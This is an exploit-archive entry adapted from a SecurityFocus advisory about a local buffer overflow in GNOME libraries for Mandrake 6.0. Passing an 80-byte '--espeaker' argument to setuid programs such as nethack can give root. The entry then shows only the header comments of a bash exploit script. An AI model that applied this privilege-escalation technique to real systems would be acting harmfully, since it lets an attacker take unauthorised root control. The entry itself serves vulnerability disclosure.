Mandriva Linux Mandrake 6.0 / Gnome Libs 1.0.8 - 'espeaker' Local Buffer Overflow

source: https://www.securityfocus.com/bid/663/info

A buffer overflow vulnerabilityin GNOME's shared libraries handling of the 'espeaker' command line argument may allow local users to attack setuid binaries linked against these libraries to obtain root access.

Calling a program linked against GNOME with the command like arguments '--enable-sound --espeaker=<80 byte buffer>' results in a buffer overflow.

One known setuid root program linked against these libraries in the Mandrake 6.0 distribution is '/usr/games/nethack'.

It is likely this is a vulnerability in the libesd shared library instead of libgnome. In that case esound 0.2.8 would be vulnerable. 

#!/bin/bash
# Generic exploit for GNOME apps under Linux x86
# Our overflowed buffer is just 80 bytes so we'll have to get our settings
# just so.  Hence the shell script.
#
# This should work against any su/gid GNOME program.  The only one that comes
# with RH6.0 that is su/gid root is (the irony is killing me) nethack.
#
# Change the /usr/games/nethack statement in the while loop below to exploit
# a different program.
